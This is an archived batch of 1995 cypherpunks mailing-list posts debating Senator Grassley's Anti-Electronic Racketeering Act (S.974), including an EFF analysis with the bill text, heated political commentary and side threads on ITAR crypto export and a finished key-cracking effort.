From ericande at linknet.kitsap.lib.wa.us  Thu Jul 13 21:30:36 1995
From: ericande at linknet.kitsap.lib.wa.us (Eric Anderson)
Date: Thu, 13 Jul 95 21:30:36 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.SUN.3.91.950713163526.25718G-100000@escape.com>
Message-ID: <Pine.SUN.3.91.950713212826.13152A-100000@linknet.kitsap.lib.wa.us>


What time is the Five minute hate?


Amerika: land of the Freeh, home of the slave





From therogue at hopf.dnai.com  Thu Jul 13 22:09:00 1995
From: therogue at hopf.dnai.com (Eric Barnes)
Date: Thu, 13 Jul 95 22:09:00 PDT
Subject: EFF analysis: Anti-Electronic Racketeering Act (S.974) (fwd)
Message-ID: <v01520d3eac2b45e2890c@[140.174.162.74]>


Comments added by me to Grassley's speech.

Eric Barnes
>
>From: ssteele at eff.org (Shari Steele)
>
>*****  FEEL FREE TO DISTRIBUTE WIDELY  *****
>
>On June 27, Senator Grassley (R-Iowa) introduced the Anti-Electronic
>Racketeering Act, S.974.  The bill was designed "to prohibit certain acts
>involving the use of computers in the furtherance of crimes, and for other
>purposes."  Its immediate effect, among other things, would be to
>criminalize the posting of any encryption software on any computer network
>that foreign nationals can access (in other words, any computer network
>period).  Because of poor wording, the bill would probably also criminalize
>data compression and other non-cryptographic encoding schemes available on
>networks.  This includes the compression used in most of the images on
>Internet user's WWW homepages, not to mention uu and binhex encoding for
>transferring binary files via email, and even language encoding used to
>represent non-English characters, such as the SJIS scheme for representing
>Japanese characters.
>
>In addition, the bill seems to be directed at undermining two big fights
>we've successfully waged in the past:  the Steve Jackson Games decision
>against the United States Secret Service and the government's Clipper Chip
>proposal.
>
>Re:  Steve Jackson Games -- this bill would permit the government to avoid
>the notice requirements of the Privacy Protection Act if "there is reason
>to believe that the immediate seizure of such materials is necessary to
>prevent the destruction or altercation [very Freudian sic!] of such
>documents."  Furthermore, the government could use electronic evidence
>seized that had not been particularly described in a warrant if
>
>"the seizure is incidental to an otherwise valid seizure, and the
>government officer or employee-
>
>   ''(A) was not aware that work product material was among the data seized;
>
>   ''(B) upon actual discovery of the existence of work product materials, the
>government officer or employee took reasonable steps to protect the privacy
>interests recognized by this section, including-
>
>   ''(i) using utility software to seek and identify electronically stored data
>that may be commingled or combined with non-work product material; and
>
>   ''(ii) upon actual identification of such material, taking reasonable steps
>to protect the privacy of the material, including seeking a search warrant."
>
>Re:  Clipper Chip -- The bill would make it a crime "to distribute computer
>software that encodes or encrypts electronic or digital communications to
>computer networks that the person distributing the software knows or
>reasonably should know, is accessible to foreign nationals and foreign
>governments, regardless of whether such software has been designated as
>nonexportable."  However, there is an exception:  "It shall be an
>affirmative defense to prosecution under this section that the software at
>issue used a universal decoding device or program that was provided to the
>Department of Justice prior to the distribution."  This is essentially an
>attempt to sneak the key "escrow" provisions of the Clipper scheme in
>through a legislative back door.
>
>Fortunately, the bill does not have a very promising future.  The bill has
>no co-sponsors.  It was immediately referred to the Committee on the
>Judiciary, where it currently sits.  LEXIS's bill tracking report only
>gives it a 10% chance of passing out of the committee.
>
>I thought Senator Grassley's own statement when he introduced the bill is
>worth reading, so I'm attaching it here.  My favorite line is "Elliott Ness
>needs to meet the Internet."  This is especially ironic in light of recent
>comparisons of hysteria about "dangerous" material on the internet, and
>Prohibition.
>
>The bill itself follows.
>Shari
>
>>------------------------------------------------------------------------
>>Shari Steele, Director of Legal Services                 ssteele at eff.org
>>Electronic Frontier Foundation                      202/861-7700 (voice)
>>1667 K Street, N.W., Suite 801                        202/861-1258 (fax)
>>Washington, DC  20006-1605                            202/861-1224 (BBS)
>>
>>
>>
>>----------  Senator Grassley's Statement to the Senate  ----------
>>
>>   Mr. President, I rise this evening to introduce the Anti-electronic
>>Racketeering Act of 1995. This bill makes important changes to RICO and
>>criminalizes deliberately using computer technology to engage in criminal
>>activity. I believe this bill is a reasonable, measured and strong response
>>to a growing problem.  According to the computer emergency and response
>>team at Carnegie-Mellon University, during 1994, about 40,000 computer
>>users were attacked. Virus hacker, the FBI's national computer crime squad
>>has investigated over 200 cases since 1991. So, computer crime is clearly
>>on the rise.
>*Was this not the same Carnegie-Mellon University involved in the horrific
>Time Ragazine "Cyberporn" article?  The one which will take no
>responsibility for the incredibly poor research done by one of their
>undergraduates?  Which seems to take no stand on proper research procedures
>used by their students?
>>
>>   Mr. President, I suppose that some of this is just natural. Whenever man
>>develops a new technology, that technology will be abused by some. And that is
>>why I have introduced this bill. I believe we need to seriously reconsider the
>>Federal Criminal Code with an eye toward modernizing existing statutes and
>>creating new ones. In other words, Mr. President, Elliot Ness needs to
>>meet the
>>Internet.
>*Being a politician, of course he considers criminality natural.  It goes
>with the territory.  And like so many of them, drunk with their potential
>power over the people (Dear God, let us no longer speak of "servants of the
>People), attacking every single user of computers, world wide at that, is
>also a "natural" response.
>>
>>   Mr. President, I sit on the Board of the Office of Technology Assessment.
>>That Office has clearly indicated that organized crime has entered
>>cyberspace in
>>a big way. International drug cartels use computers to launder drug money and
>>terrorists like the Oklahoma City bombers use computers to conspire to commit
>>crimes.
>*Ah..and notice how he carefully leaves out any empirical data?  This
>Board, whatever the hell it is, "has clearly indicated" something...which
>just happens to fit in with Grassley's political ambitions and desperate
>need to be the center of attention.  And so he raises the unfounded
>"organized crime" and "terrorist" and "conspiracy" flags to frighten us
>all.  And to make matters truly worse, there is no evidence or indication
>that the Internet was even used in the OK City debacle, much less
>encryption.  As a matter of fact, our vaunted FBI has yet to even bring an
>indictment in the case!
>>
>>   Computer fraud accounts for the loss of millions of dollars per year.
>*Mostly through the use of bank wires...not available to the rest of us.
>
> And often times, there is little that can be done about this because the
>computer
>>used to commit the crimes is located overseas. So, under my bill, overseas
>>computer users who employ their computers to commit fraud in the United States
>>would be fully subject to the Federal criminal laws.  Also under my bill, Mr.
>>President, the wire fraud statute which has been successfully used by
>>prosecutors for many users, will be amended to make fraudulent schemes
>>which use
>>computers a crime.
>*I can see it now.  You typed a letter on a computer?  You're dead,
>buddy!!!  And anyone who happened to have received that letter, whether
>involved or not, would also be guilty by association.  Good going,
>Grassley.  Fine grasp of the Constitution there.
>>
>>   It is not enough to simply modernize the Criminal Code. We also have to
>>reconsider many of the difficult procedural burdens that prosecutors must
>>overcome. For instance, in the typical case, prosecutors must identify a
>>location in order to get a wiretapping order. But in cyberspace, it is often
>>impossible to determine the location. And so my bill corrects that so that if
>>prosecutors cannot, with the exercise of effort, give the court a
>>location, then
>>those prosecutors can still get a wiretapping order. And for law
>>enforcers-both
>>State and Federal-who have seized a computer which contains both contraband or
>>evidence and purely private material, I have created a good-faith standard so
>>that law enforcers are not shackled by undue restrictions but will also be
>>punished for bad faith.
>*Oh, Dear God!  He's gonna protect us from the enforcers.  How terribly kind.
>>
>>   Mr. President, this brave new world of electronic communications and global
>>computer networks holds much promise. But like almost anything, there is the
>>potential for abuse and harm. That is why I urge my colleagues to support this
>>bill and that is why I urge industry to support this bill.
>*Oh, yes...let's be sure that any promise is nipped in the bud as our
>sacred government, which has shown such a dandy predilection for abuse of
>power through the years, is given accerss to any and all private
>communications, no matter from whom or to whom.  With a Senator like this,
>who needs a Fuhreur?  I hope Iowans take a long look at this idiot next
>time the ballots are being cast.
>>
>>   On a final note, I would say that we should not be too scared of
>>technology.
>>After all, we are still just people and right is still right and wrong is
>>still
>>wrong. Some things change and some things do not. All that my bill does is say
>>you can't use computers to steal, to threaten others or conceal criminal
>>conduct.
>*And this chump is willing to flush the entire Constitution down the toilet
>in order to save us all from that which can, and will, be done by many
>other means.  Notice his "all my bill does", then defines what he wants us
>to believe.  And this is one of the Republicans who has promised to get the
>Federal government off our backs?  Oh, yes, there *is* a Santa Claus,
>Virginia.  But be very careful of his hands when he gives you that fatherly
>hug.  This one will rape us all if given the chance!
>
>Eric Barnes
>>
>>   Mr. President, I ask unanimous consent that the text of the bill be printed
>>in the Record.
>>
>>   There being no objection, the bill was ordered to be printed in the Record,
>>as follows:
>>
>>   S. 974
>>
>>
>>
>>   SECTION 1. SHORT TITLE.
>>
>>   This Act may be cited as the ''Anti-Electronic Racketeering Act of 1995''.
>>
>>   SEC. 2. PROHIBITED ACTIVITIES.
>>
>>   (a) Definitions .-Section 1961(1) of title 18, United States Code, is
>>amended-
>>
>>   (1) by striking ''1343 (relating to wire fraud)'' and inserting ''1343
>>(relating to wire and computer fraud)'';
>>
>>   (2) by striking ''that title'' and inserting ''this title'';
>>
>>   (3) by striking ''or (E)'' and inserting ''(E)''; and
>>
>>   (4) by inserting before the semicolon the following: ''or (F) any act
>>that is
>>indictable under section 1030, 1030A, or 1962(d)(2)''.
>>
>>   (b) Use of Computer To Facilitate Racketeering Enterprise .-Section 1962 of
>>title 18, United States Code, is amended-
>>
>>   (1) by redesignating subsection (d) as subsection (e); and
>>
>>   (2) by inserting after subsection (c) the following new subsection:
>>
>>   ''(d) It shall be unlawful for any person-
>>
>>   ''(1) to use any computer or computer network in furtherance of a
>>racketeering activity (as defined in section 1961(1)); or
>>
>>   ''(2) to damage or threaten to damage electronically or digitally stored
>>data.''.
>>
>>   (c) Criminal Penalties .-Section 1963(b) of title 18, United States
>>Code, is
>>amended-
>>
>>   (1) by striking ''and'' at the end of paragraph (1);
>>
>>   (2) by striking the period at the end of paragraph (2) and inserting '';
>>and''; and
>>
>>   (3) by adding at the end the following new paragraph:
>>
>>   ''(3) electronically or digitally stored data.''.
>>
>>   (d) Civil Remedies .-Section 1964(c) of title 18, United States Code, is
>>amended by striking ''his property or business''.   [*S9181]
>>
>>   (e) Use as Evidence of Intercepted Wire or Oral Communications
>>.-Section 2515
>>of title 18, United States Code, is amended by inserting before the period at
>>the end the following: '', unless the authority in possession of the
>>intercepted
>>communication attempted in good faith to comply with this chapter. If the
>>United
>>States or any State of the United States, or subdivision thereof, possesses a
>>communication intercepted by a nongovernmental actor, without the knowledge of
>>the United States, that State, or that subdivision, the communication may be
>>introduced into evidence''.
>>
>>   (f) Authorization for Interception of Wire, Oral, or Electronic
>>Communications .-Section 2516(1) of title 18, United States Code, is amended-
>>
>>   (1) by striking ''and'' at the end of paragraph (n);
>>
>>   (2) by striking the period at the end of paragraph () and inserting '';
>>and''; and
>>
>>   (3) by adding at the end the following new paragraph:
>>
>>   ''(p) any violation of section 1962 of title 18.''.
>>
>>   (g) Procedures for Interception .-Section 2518(4)(b) of title 18, United
>>States Code, is amended by inserting before the semicolon the following: ''to
>>the extent feasible''.
>>
>>   (h) Computer Crimes .-
>>
>>   (1) New prohibited activities .-Chapter 47 of title 18, United States Code,
>>is amended by adding at the end the following new section:
>>
>>   '' 1A1030A. Racketeering-related crimes involving computers
>>
>>   ''(a) It shall be unlawful-
>>
>>   ''(1) to use a computer or computer network to transfer unlicensed computer
>>software, regardless of whether the transfer is performed for economic
>>consideration;
>>
>>   ''(2) to distribute computer software that encodes or encrypts
>>electronic or
>>digital communications to computer networks that the person distributing the
>>software knows or reasonably should know, is accessible to foreign
>>nationals and
>>foreign governments, regardless of whether such software has been
>>designated as
>>nonexportable; and
>>
>>   ''(3) to use a computer or computer network to transmit a communication
>>intended to conceal or hide the origin of money or other assets, tangible or
>>intangible, that were derived from racketeering activity; and
>>
>>   ''(4) to operate a computer or computer network primarily to facilitate
>>racketeering activity or primarily to engage in conduct prohibited by
>>Federal or
>>State law.
>>
>>   ''(b) For purposes of this section, each act of distributing software is
>>considered a separate predicate act. Each instance in which nonexportable
>>software is accessed by a foreign government, an agent of a foreign
>>government,
>>a foreign national, or an agent of a foreign national, shall be
>>considered as a
>>separate predicate act.
>>
>>   ''(c) It shall be an affirmative defense to prosecution under this section
>>that the software at issue used a universal decoding device or program
>>that was
>>provided to the Department of Justice prior to the distribution.''.
>>
>>   (2) Clerical amendment .-The analysis at the beginning of chapter 47,
>>United
>>States Code, is amended by adding at the end the following new item:
>>
>>   ''1030A. Racketeering-related crimes involving computers.''.
>>
>>   (3) Jurisdiction and venue .-Section 1030 of title 18, United States
>>Code, is
>>amended by adding at the end the following new subsection:
>>
>>   ''(g)(1)(A) Any act prohibited by this section that is committed using any
>>computer, computer facility, or computer network that is physically located
>>within the territorial jurisdiction of the United States shall be deemed
>>to have
>>been committed within the territorial jurisdiction of the United States.
>>
>>   ''(B) Any action taken in furtherance of an act described in
>>subparagraph (A)
>>shall be deemed to have been committed in the territorial jurisdiction of the
>>United States.
>>
>>   ''(2) In any prosecution under this section involving acts deemed to be
>>committed within the territorial jurisdiction of the United States under this
>>subsection, venue shall be proper where the computer, computer facility, or
>>computer network was physically situated at the time at least one of the
>>wrongful acts was committed.''.
>>
>>   (i) Wire and Computer Fraud .-Section 1343 of title 18, United States Code,
>>is amended by striking ''or television communication'' and inserting
>>''television communication, or computer network or facility''.
>>
>>   (j) Privacy Protection Act .-Section 101 of the Privacy Protection Act of
>>1980 (42 U.S.C. 2000aa) is amended-
>>
>>   (1) in subsection (a)-
>>
>>   (A) by striking ''or'' at the end of paragraph (1);
>>
>>   (B) by striking the period at the end of paragraph (2) and inserting '';
>>or''; and
>>
>>   (C) by adding at the end the following new paragraph:
>>
>>   ''(3) there is reason to believe that the immediate seizure of such
>>materials
>>is necessary to prevent the destruction or altercation of such
>>documents.''; and
>>
>>   (2) in subsection (b)-
>>
>>   (A) by striking ''or'' at the end of paragraph (3);
>>
>>   (B) by striking the period at the end of paragraph (4) and inserting '';
>>or''; and
>>
>>   (C) by adding at the end the following new paragraph:
>>
>>   ''(5) in the case of electronically stored data, the seizure is
>>incidental to
>>an otherwise valid seizure, and the government officer or employee-
>>
>>   ''(A) was not aware that work product material was among the data seized;
>>
>>   ''(B) upon actual discovery of the existence of work product materials, the
>>government officer or employee took reasonable steps to protect the privacy
>>interests recognized by this section, including-
>>
>>   ''(i) using utility software to seek and identify electronically
>>stored data
>>that may be commingled or combined with non-work product material; and
>>
>>   ''(ii) upon actual identification of such material, taking reasonable steps
>>to protect the privacy of the material, including seeking a search
>>warrant.''.
>
>Eric Barnes - TheRogue at dnai.com
>PO Box 27507, San Francisco, CA 94127
>Corporate Spokesman, Specialist in "Attack Public
>Relations", Unique Marketing Solutions.
>"You have to give up the life you planned, to find
>the one that's waiting for you." - Sally Field

Eric Barnes - TheRogue at dnai.com
PO Box 27507, San Francisco, CA 94127
Corporate Spokesman, Specialist in "Attack Public
Relations", Unique Marketing Solutions.
"You have to give up the life you planned, to find
the one that's waiting for you." - Sally Field







From sebaygo at intellinet.com  Thu Jul 13 22:10:48 1995
From: sebaygo at intellinet.com (Allen Robinson)
Date: Thu, 13 Jul 95 22:10:48 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.SUN.3.91.950713163526.25718G-100000@escape.com>
Message-ID: <Pine.3.89.9507132317.C24198-0100000@sibyl.intellinet.com>




On Thu, 13 Jul 1995, Ray Arachelian wrote:

> On Thu, 13 Jul 1995, L. McCarthy wrote:
> 
> > Mr. GRASSLEY. Mr. President, I rise this evening to introduce the
> > Anti-electronic Racketeering Act of 1995. This bill makes important changes
> > to RICO and criminalizes deliberately using computer technology to engage in
> > criminal activity. I believe this bill is a reasonable, measured and strong
> > response to a growing problem. According to the computer emergency and
> > response team at Carnegie-Mellon University, during 1994, about 40,000
> > computer users were attacked. Virus hacker, the FBI's national computer
> > crime squad has investigated over 200 cases since 1991. So, computer crime is
> > clearly on the rise.
> 
> Eh, what do "virus hackers" have to do with encryption, why is it these 
> morons justify the destruction of encryption by mentioning hackers and 
> viruses?

The use of terms such as "virus" and "hacker" in a context such
as this has little or nothing to do with what the terms actually
mean.  It's palpably obvious that they are being bandied about
here solely for the knee-jerk emotional reactions they evoke.
Even those more computer/net clue-impaired than Grassley (assuming
that such is possible) know from watching TV and the movies that
a virus is a Bad Thing (tm) and that hackers are evil!
Pseudo-digital demagoguery.
 
> Additionally, does this mean that someone outside of the USA is in danger 
> of being grabbed by RICO armed thugs from Uncle Sam's cadre for writing 
> crypto software and publishing it in the open?  After all, once it winds 
> up on some USA site, how do we know that someone outside the USA got his 
> copy of SuperDuperNSASpookFree from a non-US site?  Just to be sure, 
> we'll bust both the site operator and nab the guy who wrote it next time 
> he drops in, or hell, we'll have him extradited.  

Or simply kidnap him and escort him back to the U.S.
 
<snip>

> > I believe we need to seriously reconsider
> > the Federal Criminal Code with an eye toward modernizing existing statutes
> > and creating new ones. In other words, Mr. President, Elliot Ness needs to
> > meet the Internet.
> 
> Where is Elliot Ness?  I don't see any mafia.org on the net.  Anyone here 
> see any such site?

It might be even more beneficial if Senator Grassley and the other
members of our august deliberative bodies would meet the internet.
My gut reaction to the recent tide of legislation is that they are
seeking to stangle what they fear and that they fear what they do
not understand.  (Too melodramatic?)
 
> > Mr. President, I sit on the Board of the Office of Technology Assessment.
> > That Office has clearly indicated that organized crime has entered cyberspace
> > in a big way. International drug cartels use computers to launder drug money
> > and terrorists like the Oklahoma City bombers use computers to conspire to
> > commit crimes.
>
> Was it not proven that McVeigh and Co. >DID NOT< use a computer?  THe AOL 
> account was a hoax, no?  Where are the hoardes of anti-USA terrorists, 
> and drug pushers on the net? 

You don't recognize them because they are masquerading 
as "virus hackers".

Again, the main reason for playing the "terrorist" card is
for the emotional hot-buttons they can push by so doing.
Since Grassley didn't use it, look for someone to introduce
something this session titled, "The Avenge Those Poor,
Innocent, Bloody Dead Children Act of 1995".

AR

%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%
"Government is not reason... it is force.  Like fire, it is a dangerous
servant and a fearful master."                      - George Washington
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Allen Robinson...................................sebaygo at intellinet.com
PGP public key AD022AA9   fingerprint 5A3BC05B2EC67724 F5664A20AEEAB07A






From jpb at shadow.net  Thu Jul 13 22:47:28 1995
From: jpb at shadow.net (Joe Block)
Date: Thu, 13 Jul 95 22:47:28 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <v01520c00ac2b66391bae@[198.79.48.49]>


re:
>On June 27, Sen. Grassley introduced extensive criminal amendments to the
>federal racketeering act.  S. 974, the "Anti-Electronic Racketeering Act of
>1995," would amend U.S. Code sections 18 USC 1961 (criminal RICO statute),
>18 USC 1030A (new section on computer crime), 18 USC 2515, 2516
>(wiretapping), and 42 USC 2000aa (Privacy Protection Act).

This is a shining example of the Conservation of Tyranny.  The former
Soviet Union is becoming more free (with admittedly a few bumps in the
road), so the US is becoming less so (with a few bumps such as the
temporary defeat of Clipper).

Sadly, this is only partially tongue in cheek.







From adam at bwh.harvard.edu  Thu Jul 13 22:47:32 1995
From: adam at bwh.harvard.edu (Adam Shostack)
Date: Thu, 13 Jul 95 22:47:32 PDT
Subject: Fight, or Roll Over?
In-Reply-To: <9507140301.AA13498@snark.imsi.com>
Message-ID: <199507140547.BAA26040@bwh.harvard.edu>


Perry writes:

| watched and learned of indicates to me that there are enough people
| and companies with an interest here to raise a few million
| dollars. Consider that Netscape alone is a very wealthy company that
| would have its marketing plans strongly disrupted by this new piece of
| congressional trash.

	Sun is also a probable ally.  John Gage (Sun's chief technical
officer?) regularly slams the ITARs, as does CEO Scott McNealy.

	It would seem that those who don't write code should be out
advocating the positive uses of cryptography, and looking for groups
who can effectively fight this the way people normally fight bad
legistlation in Congress.  Petitions don't work.  Spending piles of
cash does.  Writing code works even better.

Adam


-- 
"It is seldom that liberty          I Support The Phil
of any kind is lost all at     Zimmermann legal defense fund
once."               -Hume    http://www.netresponse.com/zldf

------------------ PGP.ZIP Part [001/713] -------------------
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
M:A$[K+5(K:O5BE405ZE:1"3?UTW`:K_]\/G\?O_^?CX>3^_-S;GGO,^\`^@W
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From tcmay at sensemedia.net  Thu Jul 13 23:01:05 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Thu, 13 Jul 95 23:01:05 PDT
Subject: Timothy C. May: Re: Crisis Overload (re Electronic Racketeering)
Message-ID: <ac2b562c03021004310a@[205.199.118.202]>


At 2:57 AM 7/14/95, L. McCarthy wrote:
>> Perry,
>>
>> I have all I'm going to take of your acerbic rudeness to me.
>>
>> I will no longer be responding to any of your messages.
>>
>> --Tim
>
><sigh>
>
>Everybody needs to take a deep breath and count to 1,000. Seriously,
>we're all feeling plenty of stress today. Various people have been
>talking about getting out of the U.S. while the going's good (?), and
>it doesn't sound much like hyperbole this time. It's not surprising that
>we're releasing our frustration on each other, lashing out at the nearest
>quasi-tangible targets.

Note that I didn't post that to the list.

Your requoting it, without the intermediate quoting of the person who _did_
post it to the list, makes it appear I was spewing this garbage to the
list, when I wasn't.

I don't care for your pop psychology. I would've followed your advice and
left these comments in e-mail only, had you done the same.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From kelli at zeus.towson.edu  Thu Jul 13 23:03:18 1995
From: kelli at zeus.towson.edu (K. M. Ellis)
Date: Thu, 13 Jul 95 23:03:18 PDT
Subject: Grassley:  Lick my Gorton, Exon me all night long...
Message-ID: <Pine.ULT.3.91.950714015400.5379C-100000@zeus.towson.edu>



I don't know if anyone has taken this into consideration:  several people
have noted that the anti-racket-whatever bill doesn't have too much chance
of getting out of committee because its wording is a bit, well, broad. 
It's being reviewed by the Senate Judiciary committee.  This is a problem 
for us, because Sen. Grassley is the chair of that committee.

His e-mail address is chuck_grassley at grassley.senate.gov, fire away!

Proud to be an Amurican,
-=Kathleen M. Ellis=-

"Buy your data, encrypt a rifle, and wait to be revolting..."
                                       -=The Book of Phil 7:1=-
kelli at zeus.towson.edu              http://zeus.towson.edu/~kelli/
GAT d? H+ s+++:-- !g p? !au a- w++@ !v@ c++++ UL++ P+ L+ 3 E---- N+ K W--- 
M-- V-- po- Y++ t+ 5-- jx R G'''' tv- b+++ D-- B e+ u** h* f++ r--- n+ z**
Diverse Sexual Orientation Coll.Towson State University DSOC at zeus.towson.edu
BigBrotherSystemsBBS........BigBrotherIsWatchingYou.......(410)494-3253#11






From Piete.Brooks at cl.cam.ac.uk  Thu Jul 13 23:08:08 1995
From: Piete.Brooks at cl.cam.ac.uk (Piete Brooks)
Date: Thu, 13 Jul 95 23:08:08 PDT
Subject: Looks like "Cypherpunks Key Cracking Ring" is done .....
Message-ID: <"swan.cl.cam.:128710:950714060757"@cl.cam.ac.uk>


I noticed that http://dcs.ex.ac.uk/~aba/percent.html was reporting:

                                                            Percentage complete

                              PERCENTAGE COMPLETE

   4094 / 4096 = 100.6 percent

which looked a bit odd to me :-) Do I detect a Pentium at work ??

Anyway, I grabbed a 29 bit address space and got:

ffe0000000 29

   THATS IT FOLKS! ALL DONE!

and now it reports:
                                                            Percentage complete

                              PERCENTAGE COMPLETE

   4096 / 4096 = 100.7 percent





From kelli at zeus.towson.edu  Thu Jul 13 23:31:00 1995
From: kelli at zeus.towson.edu (K. M. Ellis)
Date: Thu, 13 Jul 95 23:31:00 PDT
Subject: Grassley:  correction
Message-ID: <Pine.ULT.3.91.950714022706.6071A-100000@zeus.towson.edu>


Please disregard my post about Grassley being the chair of the senate 
Committee on the Judiciary; Orrin Hatch (Utah) is the chair.

The number of the committee office is (202)224-5225.

I'm sorry for the misinformation--hope it didn't cause to much frustration.

-=kathleen m. ellis=-

"Buy your data, encrypt a rifle, and wait to be revolting..."
                                       -=The Book of Phil 7:1=-
kelli at zeus.towson.edu              http://zeus.towson.edu/~kelli/
GAT d? H+ s+++:-- !g p? !au a- w++@ !v@ c++++ UL++ P+ L+ 3 E---- N+ K W--- 
M-- V-- po- Y++ t+ 5-- jx R G'''' tv- b+++ D-- B e+ u** h* f++ r--- n+ z**
Diverse Sexual Orientation Coll.Towson State University DSOC at zeus.towson.edu
BigBrotherSystemsBBS........BigBrotherIsWatchingYou.......(410)494-3253#11






From stewarts at ix.netcom.com  Thu Jul 13 23:31:57 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 13 Jul 95 23:31:57 PDT
Subject: 
Message-ID: <199507140628.XAA21517@ix3.ix.netcom.com>


At 02:57 PM 7/13/95 -700, Kevin Stumborg wrote:
>send me mail

Here's some!


You might try sending mail to cypherpunks-request at toad.com
(or majordomo at toad.com) with a one-line message body saying
        help
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Thu Jul 13 23:33:00 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 13 Jul 95 23:33:00 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <199507140629.XAA21600@ix3.ix.netcom.com>


At 04:53 PM 7/13/95 -0400, Ray Arachelian wrote:
>> Mr. GRASSLEY. Mr. President, I rise this evening to introduce the
>> Anti-electronic Racketeering Act of 1995. This bill makes important changes
>> to RICO and criminalizes deliberately using computer technology to engage in
>> criminal activity. I believe this bill is a reasonable, measured and strong
>> response to a growing problem. According to the computer emergency and
>> response team at Carnegie-Mellon University, during 1994, about 40,000
>> computer users were attacked. Virus hacker, the FBI's national computer
>> crime squad has investigated over 200 cases since 1991. So, computer crime is
>> clearly on the rise.
>
>Eh, what do "virus hackers" have to do with encryption, why is it these 
>morons justify the destruction of encryption by mentioning hackers and 
>viruses?

You're parsing the title wrong.  It's an act to support racketeering
through opposition to electronic communications.  What viruses have to
do with encryption is that encryption makes it easier to prevent viruses,
and Senator Grassley wants to stop that.  And the term "strong" was used in its
correct engineering meaning, as in "It's a vessel of fertilizer which is
very strong and promotes growth".


>> Mr. President, I suppose that some of this is just natural. Whenever man
>> develops a new technology, that technology will be abused by some. And that
>> is why I have introduced this bill. 

Yup.  Quite so.

>> Computer fraud accounts for the loss of millions of dollars per year. And
>> often times, there is little that can be done about this because the computer
>> used to commit the crimes is located overseas. So, under my bill, overseas
>> computer users who employ their computers to commit fraud in the United
>> States would be fully subject to the Federal criminal laws. 

Hey, Julf, we've got your number!  And we're making sure nobody's got any
encryption to prevent fraud with.

>> Mr. President, this brave new world of electronic communications and global
>> computer networks holds much promise. But like almost anything, there is the
>> potential for abuse and harm. That is why I urge my colleagues to support
>> this bill and that is why I urge industry to support this bill.

As above.

#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Thu Jul 13 23:47:07 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 13 Jul 95 23:47:07 PDT
Subject: Encryption and ITAR
Message-ID: <199507140645.XAA12031@ix4.ix.netcom.com>


At 05:30 PM 7/13/95 EST, It's supposed to crash like that. wrote:
>Anyone know how far ITAR reaches?  Is there a list of programs that are illegal
>to take from america anywhere else?  My company does a LOT of buisness (80%)
>outside the US, and I wonder if they are maybe pissing off the NSA or somthing
>with some software they take with them.  (a DES encrypter, and some other
>encryption stuff)

It's the other way around.  Anything that does encryption that they _haven't_
explicitly given you permission to export, or that isn't subject to subtle
and arguable interpretations of the law (or blatantly obvious interpretations
of the First Amendment) is verboten.  So buy your crypto stuff overseas,
and import it, and write letters to your COngresscritters about how annoyed
you are that you have to do this.  Might as well send them a bill for the extra
expenses you've had to incur; they won't pay it, of course, but it should 
amuse some of the Republicans....
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From silversh at rmii.com  Fri Jul 14 00:14:12 1995
From: silversh at rmii.com (Mark Silversher)
Date: Fri, 14 Jul 95 00:14:12 PDT
Subject: The MoJo Wire thanks you
In-Reply-To: <v02120d0eac2b65b1c651@[204.188.118.233]>
Message-ID: <Pine.SOL.3.91.950713235634.4000B-100000@rainbow.rmii.com>


Please unlist me.

On Thu, 13 Jul 1995, Joel B. Truher wrote:

> Thank you for your help in our beta test!  Please come back soon,
> and send me mail if you'd like to be removed from this mailing
> list -- we may send a new Web product announcement every few months,
> and you'll soon receive a survey of your opinion of our site.
> 
> More info on The MoJo Wire:
> 
> 
>              "More fun than a secret decoder ring!"
>                                -- Jim Hightower
> 
>   "Mother Jones magazine is turning the tables [on Gingrich]"
>                                -- LA Times
> 
> Mother Jones is pleased to announce the official release of our
> redesigned WWW site, now called The MoJo Wire, on July 14th, at:
> 
>                     http://motherjones.com
> 
> * See Newt Gingrich's secret list of major funders on our "Coin-
>   Operated Congress" feature.  Gingrich is fighting the FEC in
>   court to keep this information secret, but you can see it here
>   for the first time.  See the ten worst, the ten richest, the
>   dirt on all of them, and help complete this interactive
>   investigation project.
> 
> * Newly revamped on-line chat software, called Live Wire,
>   provides the best Web-based political discussions anywhere.
>   Create hyperlinks in the words of others in this new feature,
>   which already contains several lively debates.
> 
> * The July/August issue of Mother Jones magazine is available
>   only on The MoJo Wire.  Read the full text of the magazine.
> 
> Many thanks to our team of two thousand beta testers!  With your
> help, we've worked a few of the last kinks out of the system,
> added a few things, and now offer the service password-free.
> 
> For more information about The MoJo Wire, send mail to
> truher at mojones.com, or call me at 415-665-6637.
> 
> Joel Truher
> Manager, The MoJo Wire
> 
> 





From tj at compassnet.com  Fri Jul 14 00:25:57 1995
From: tj at compassnet.com (Bolivar Shagnasty)
Date: Fri, 14 Jul 95 00:25:57 PDT
Subject: Crisis Overload (re Electronic Racketeering)
Message-ID: <Chameleon.4.01.2.950714022431.tj@tjunker.compassnet.com>


